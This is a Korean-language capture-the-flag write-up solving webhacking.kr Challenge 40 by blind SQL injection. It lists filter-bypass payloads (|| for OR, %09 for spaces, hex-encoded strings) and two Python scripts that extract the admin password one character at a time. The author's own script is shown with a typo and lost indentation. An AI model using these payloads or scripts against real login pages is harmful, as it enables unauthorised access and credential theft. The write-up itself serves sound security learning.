목표 : Blackbox Blind SQL Injection
로그인 페이지가 나타나고 로그인을 누르면 GET으로 인자를 받은 채로 페이지가 넘어가고 2초 뒤에 메인페이지로 돌아온다.
<html>
<head>
<title>Challenge 40</title>
<style>
input{ width:150px; }
td{padding:10;}
</style>
</head>
<body bgcolor=gray>
<br><br><b>Success - guest</b><meta http-equiv=refresh content=2;url=./>
HTML
복사
시도하다보면 몇몇 필터링을 찾을 수 있다.
or and / 공백은 필터링하지만 || %09 '는 필터링하지 않는다. 다만 addslashes 여부는 알수없다.
여러 값을 입력한 결과를 봤을 때 no는 int형태로 선언돼있고 id, pw는 싱글쿼터로 묶여있는 걸로 예측된다.
SELECT no, id, pw FROM chall40 WHERE no={no}, id='{id}', pw='{pw}'
SQL
복사
Where 문의 순서를 알기 위해 다음과 같이 세 번의 테스트를 실시했다
•
no = 1#, id = guest, pw = guest → Success - guest
•
no = 1#, id = random, pw = guest → Failure
•
no = 1#, id = guest, pw = random → Failure
즉 no 뒤의 주석은 id와 pw에 영향을 주지 못한다.
no를 기반으로 그냥 공격을 수행하면 된다.
SELECT no, id, pw FROM chall40 WHERE id='{id}', pw='{pw}', no={no}
SQL
복사
no
•
no = 1||1, id=guest, pw=random → Success - guest
•
no = 1||0, id=guest, pw=random → Failure
SELECT no, id, pw FROM chall40 WHERE id='guest', pw='random', no=1 || 1
SQL
복사
뒤에 1로 모든 id, pw를 불러오게 되는 구성으로 1행이 guest인걸로 보아 2행을 불러오려고 LIMIT을 사용했으나 필터링됐다.
•
no=1%7c%7c1%09LIMIT%092,1
그냥 admin id를 직접적으로 넣었지만 addslashes 함수가 내장돼있는지 failure가 떠서 다음과 같이 바꿨다.
Response 값이 바뀌었다.
•
no=1||id=’admin’
•
no=1||id=0x61646D696E
이제 이 admin password를 구하면 될 듯 하다 auth 우회가 가능하나 이것저것 시도해봤지만 잘 안됐고, 이미 no이라는 좋은 Input이 있으니 blind sql를 시행하기로 했다.
패스워드 길이는 파이썬을 돌릴 것도 없이 크기 비교로 쉽게 얻어냈다. (Pw.length = 10)
•
1 || id=’admin’ && length(pw) < 11 #
•
1%7c%7cid%3d0x61646D696E%26%26length(pw)<11%09
다음 쿼리문이 필터링에 걸렸다.
•
1%7c%7cid%3d0x61646D696E%26%26ord(substr(pw,0,1))<133
•
1%7c%7cid%3d0x61646D696E%26%26ord(right(left(pw,0),1)))<133
좀 더 간소화시키다보니 ord 함수가 필터링에 걸렸다. 오히려 substr은 가능했다.
다음은 자동화를 위한 코드다. 근데 동작하지 않는다…(?)
import requests
URL = 'https://webhacking.kr/challenge/web-29/?no=1%7c%7cid%3d0x61646D696E%26%26'
URL2 = '&id=guest&pw=random'
TRUE_PHRASE = 'admin'
c = {"cookie":"PHPSESSID=your session id"}
def query(payload):
r = requests.get(URL + payload + URL2,cookies=c, timeout=100)
print(URL + payload + URL2)
content = r.text
#print(content)
return TRUE_PHRASE in content
def find_pw_length():
pw_len = 1
while query("length(pw)={}%09".format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
def find_pw():
#pw_len = find_pw_length()
pw_len = 10
result_pw = ''
chk = 0
for pos in range(1, pw_len + 1):
#for character in string.printable:
for c in range(33,133):
if query("sutstr(pw,{},1)={}".format(pos, hex(c))) is True:
result_pw += chr(c)
print(result_pw)
break
print("cycle {}".format(pos))
print('pw: {}'.format(result_pw))
Python
복사
다음 한 줄을 통해 실행시키면 문제없이 실행되지만 for문을 통해 실행시키면 정상적으로 작동되지 않는다. 이유를 알고 싶어도 아무리 해도 안나오더라.
혹시 이유를 아시고 시간을 조금만 내실 수 있으시다면 superphil722@gmail.com 으로 메일 주시면 정말 감사드리겠다.
print(query("substr(pw,1,1)=0x4c"))
Python
복사
결국 일단 다른 분의 코드를 사용했다.
import requests
from tqdm import tqdm
url = "https://webhacking.kr/challenge/web-29/"
TRUE_FLAG = "Success"
FALSE_FLAG = "Failure"
# 1. pw 길이
for i in range(20):
params = "?id=guest&pw=guest&no=3||(length(pw)={})".format(i)
response = requests.get(url + params)
if(FALSE_FLAG not in response.text):
print("password length: ", i)
# admin 계정의 pw 길이는 10
# 2. pw
for i in range(1,11):
password = ''
for j in range(127,20,-1):
params = "?id=guest&pw=guest&no=3||(conv(hex(substr(pw,{0},1)),16,10)={1})".format(i,j)
response = requests.get(url+params)
if(FALSE_FLAG not in response.text):
password += chr(j)
if(i>5):
break
print(i," : ",password)
Python
복사
admin의 비밀번호를 구했고 이를 입력하면 풀 수 있게 된다.